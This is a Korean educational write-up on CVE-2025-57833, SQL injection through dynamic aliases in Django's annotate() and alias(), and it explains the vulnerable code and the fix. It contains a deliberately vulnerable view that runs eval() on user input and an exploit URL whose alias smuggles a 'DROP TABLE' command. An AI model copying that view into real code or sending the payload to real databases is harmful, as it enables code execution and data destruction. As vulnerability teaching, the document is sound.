
Django의 annotate() 및 alias() 메서드에서 동적 별칭을 통한 SQL 인젝션(CVE-2025-57833)을 보여주는 교육용 개념 증명(PoC)입니다. 취약 코드, 악용 예제, 수정 분석을 포함합니다.
별칭은 SQL 쿼리에서 열이나 집계 결과에 부여된 이름입니다.
Django에서 별칭은 annotate() 또는 alias() 메서드와 함께 사용되어 계산된 필드에 이름을 지정합니다.
예시:
from django.db.models import Count
books = Book.objects.annotate(book_count=Count('id'))
여기서 book_count는 Count('id') 결과의 별칭입니다.
계산된 열에 대해 읽기 쉬운 이름을 검색할 수 있습니다.
빠르게 진행하려면 셸을 통해 데이터를 삽입할 수 있습니다:
python manage.py shell
실행할 명령어:
from myapp.models import Author, Book
a = Author.objects.create(name=" houchi pierre")
Book.objects.create(title="Les belles filles", author=a)
Book.objects.create(title="Les baux arcons", author=a)
exit()
Django 4.2.23 이전에는 사용자가 제공한 동적 별칭을 통해 SQL을 주입할 수 있었습니다.
이 취약점은 CVE-2025-57833으로 알려져 있습니다.
이는 annotate() 및 alias() 함수에 영향을 미쳤으며, 사용자로부터 필터링되지 않은 키가 포함된 확장(**kwargs) 딕셔너리가 사용될 때 발생했습니다.
myapp/views.py)import json
from django.db.models import Count
from django.http import JsonResponse
from .models import Author
def vulnerable_view(request):
# URL에서 별칭을 가져옴
alias_param = request.GET.get("alias", "{}")
try:
# ⚠️ 취약: 사용자 데이터의 직접 평가
alias_dict = json.loads(alias_param)
for key, value in alias_dict.items():
alias_dict[key] = eval(value) # 위험! 임의 코드 실행 허용
# 동적 어노테이션으로 쿼리셋 생성
qs = Author.objects.annotate(**alias_dict).values("name", *alias_dict.keys())
# 결과 반환
return JsonResponse(list(qs), safe=False)
except Exception as e:
return JsonResponse({"error": str(e)})
alias_param = request.GET.get("alias", "{}")
사용자가 전달한 alias 매개변수의 값을 가져옵니다.
alias_dict = json.loads(alias_param)
JSON 문자열을 Python 딕셔너리로 변환합니다.
alias_dict[key] = eval(value)
⚠️ 매우 위험: eval()은 문자열을 Python 코드로 실행합니다.
사용자가 파괴적인 SQL을 주입할 수 있습니다.
Author.objects.annotate(**alias_dict)
제공된 별칭으로 동적으로 어노테이션을 적용합니다.
myapp/models.py)from django.db import models
class Author(models.Model):
name = models.CharField(max_length=100)
def __str__(self):
return self.name
class Book(models.Model):
title = models.CharField(max_length=100)
author = models.ForeignKey(Author, on_delete=models.CASCADE)
def __str__(self):
return self.title
설명:
Author와 Book은 ForeignKey 관계로 연결됩니다.Author에서 책에 대한 정보를 계산하는 데 사용됩니다.http://127.0.0.1:8000/vuln/?alias={"evil); DROP TABLE myapp_book;--":"Count('id')"}
Django는 이제 별칭에서 일부 문자를 금지합니다:
--)URL에 이러한 문자가 포함되면 Django는 오류를 발생시킵니다:
Column aliases cannot contain whitespace characters, quotation marks, semicolons, or SQL comments.
http://127.0.0.1:8000/vuln/?alias={"books_count":"Count('book')"}
eval() 사용eval()을 사용하지 마십시오.저자: Loïc
날짜: 06/09/2025